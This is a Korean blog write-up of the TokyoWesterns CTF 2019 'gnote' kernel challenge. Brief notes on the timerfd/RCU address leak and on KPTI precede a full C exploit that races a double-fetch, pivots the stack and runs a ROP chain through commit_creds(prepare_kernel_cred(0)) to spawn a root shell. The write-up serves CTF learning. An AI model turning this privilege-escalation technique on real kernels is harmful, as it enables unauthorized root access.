howdays

JIN's Lab

Write-up

TokyoWesterns CTF 2019 gnote

Kernel Address Leak를 하기위해 timerfd_ctx에서 남긴 함수 포인터를 릭해서 하는 방법인데, timerfd_ctx를 free를 할때 timerfd_release함수에서 kfree_rcu를 한다.
이게 바로 free가 되는게 아니라 한번 sleep를 걸어줘야하는데 그 이유는 RCU때문이다. RCU에 관한 것은 https://lwn.net/Articles/262464/ 여기에 자세히 나와있어서 심심할 때 읽어봐야겠다.

KPTI (Kernel Page Table Isolation) 이라고해서 예전이 이슈된 Meltdown의 방지를 위해 cs, ss register가 다 셋팅이 되어있다고 해도 User Page 에서는 Kernel Page가 맵핑되어 있지 않고 Kernel Page에서는 User Page가 Non-Executable로 맵핑이 되어 있어, User와 Kernel의 관계를 더 분리시켜 마음대로 실행을 못 시키도록 하였다.  그래서 Kernel -> User 로 갈때는 Page 정보가 들어있는 CR3 레지스터와 0x1000를 or 연산을 해주어야 정상적으로 User Context로 넘어간다.

이 밑 두개의 write-up를 참고하였다. RPISEC이 쓴 영어 글은 매우 간결하고 쉽게 나와있으며 smallkirby이 쓴 글은 일본어라서 보기 힘들지만 처음부터 아주 자세히 알려준다

https://rpis.ec/blog/tokyowesterns-2019-gnote/
https://smallkirby.hatenablog.com/entry/2019/11/19/225504#timerfd_release%E3%81%A8RCU

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/mman.h>
#include <linux/tty.h>

struct write_gnote {
    unsigned int select;
    unsigned int size_or_idx;
};

int fd = 0;
int chk = 0;
struct write_gnote wn;

void write_kernel(){
  puts("write_kernel");
  while(1){
    wn.select ^= 0x40100000 / 8;
  }
}

void hexdump(char *buf, size_t len)
{
  int i , j;
  for(i=0; i<len/16+1; i++)
  {
    printf("%02d | ",i);
    for(j=0; j<16; j++)
    {
      if(i*16+j >= len)
        break;
      printf("%02x ",buf[i*16+j]&0xff);
    }
    printf("| ");
    for(j=0; j<16; j++)
    {
      if(i*16+j >= len)
        break;
      if(isprint(buf[i*16+j]) && buf[i*16+j] != '\n' && buf[i*16+j] != '\t' && buf[i*16+j] != ' ')
      {
        printf("%c",buf[i*16+j]);
      }
      else if(buf[i*16+j] == '\n')
      {
        printf("\\n");
      }
      else if(buf[i*16+j] == '\t' )
      {
        printf("\\t");
      }
      else if(buf[i*16+j] == ' ')
      {
        printf(" ");
      }
      else
      {
        printf(".");
      }
    }
    printf("\n");
  }
}


void shell(){
  system("sh");
}

unsigned long leak(){

  struct itimerspec timespec = { {0, 0}, {100, 0}};

  int tfd = timerfd_create(0,0);
  timerfd_settime(tfd, 0, ×pec, 0); 
  close(tfd);
  sleep(1); 

  unsigned long * buf = (unsigned long * )malloc(0x100);

  printf("BUF : %p \n",(void *)buf);
  wn.select = 1;
  wn.size_or_idx = 0x100;
  write(fd,&wn,1);

  wn.select = 5;
  wn.size_or_idx = 0;
  write(fd,&wn,1);

  read(fd,buf,0x100);

  hexdump((char * )buf,0x100);


  printf("Leaked : %p \n" , (void *)buf[5]);

  return buf[5];

}

int main(){
  fd = open("/proc/gnote",O_RDWR);

  if(fd < 0){
    printf("fd is broken! \n");
    return 0;
  }

  unsigned long kernel_base = leak() - 0x15a2f0;
  unsigned long commit_creds = kernel_base + 0x69df0;
  unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;


  unsigned long xchg = kernel_base + 0x1992a; //  xchg   esp,eax; ret;


  printf("[*] kernel_base : %p \n" , (void *)kernel_base);
  printf("[*] commit_creds : %p \n" , (void *)commit_creds);
  printf("[*] prepare_kernel_cred : %p \n" , (void *)prepare_kernel_cred);
  printf("[*] xchg : %p \n" , (void *)xchg);

  unsigned int stack = xchg & 0xffffffff; //   mov     rax, ds:off_220[rax*8]; <-- xchg

  void * stack_addr = mmap((void *)(stack & 0xfffff000) , 0xa000 , PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  printf("[*] stack_addr : %p \n",stack_addr);


  unsigned long rop[100] = {0,};

  rop[0] = kernel_base + 0x1c20d; // pop rdi
  rop[1] = 0;
  rop[2] = prepare_kernel_cred;
  rop[3] = kernel_base + 0x21ca6a; // mov rdi, rax
  rop[4] = 0; //  pop    rbp
  rop[5] = commit_creds;

  rop[6] = kernel_base + 0x37523; // pop rcx , SYSRET copies the value saved in RCX to the RIP.
  rop[7] = &shell;
  rop[8] = kernel_base + 0x1025c8; //pop r11 , SYSRET copies the value saved in R11 to the RFLAGS
  rop[9] = 0x202;
  rop[10] = 0; //pop rbp
  rop[11] = kernel_base + 0x600116; //set cr3 , swapgs, sysretq
  rop[12] = 0; //pop rax
  rop[13] = 0; //pop rdi
  rop[14] = stack;


  memcpy(stack , &rop , sizeof(rop));

  wn.select = 0;
  pthread_t p_thread;

  /*
     0xffffffffc02c2020 <gnote_write+32>: mov    rax,QWORD PTR [rax*8-0x3fd3cf68]
     hex(0x40000000 - 0x3fd3cf68) -> 0x3000
  */

  unsigned long * xchgs = mmap((void *)0x1000, 0x1000000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  printf("[*] xchgs : %p \n" , (void *)xchgs);

  for(int i=0; i < 0x1000000 / 8; i ++){
    xchgs[i] = xchg;
  }

  pthread_create(&p_thread,NULL,(void *)write_kernel,NULL);

  while(1){
    write(fd , &wn, 100);
  }
}


int timerfd_create(int clockid , int flags){
  asm volatile("syscall" :: "a"(SYS_timerfd_create));
}

Leave a Reply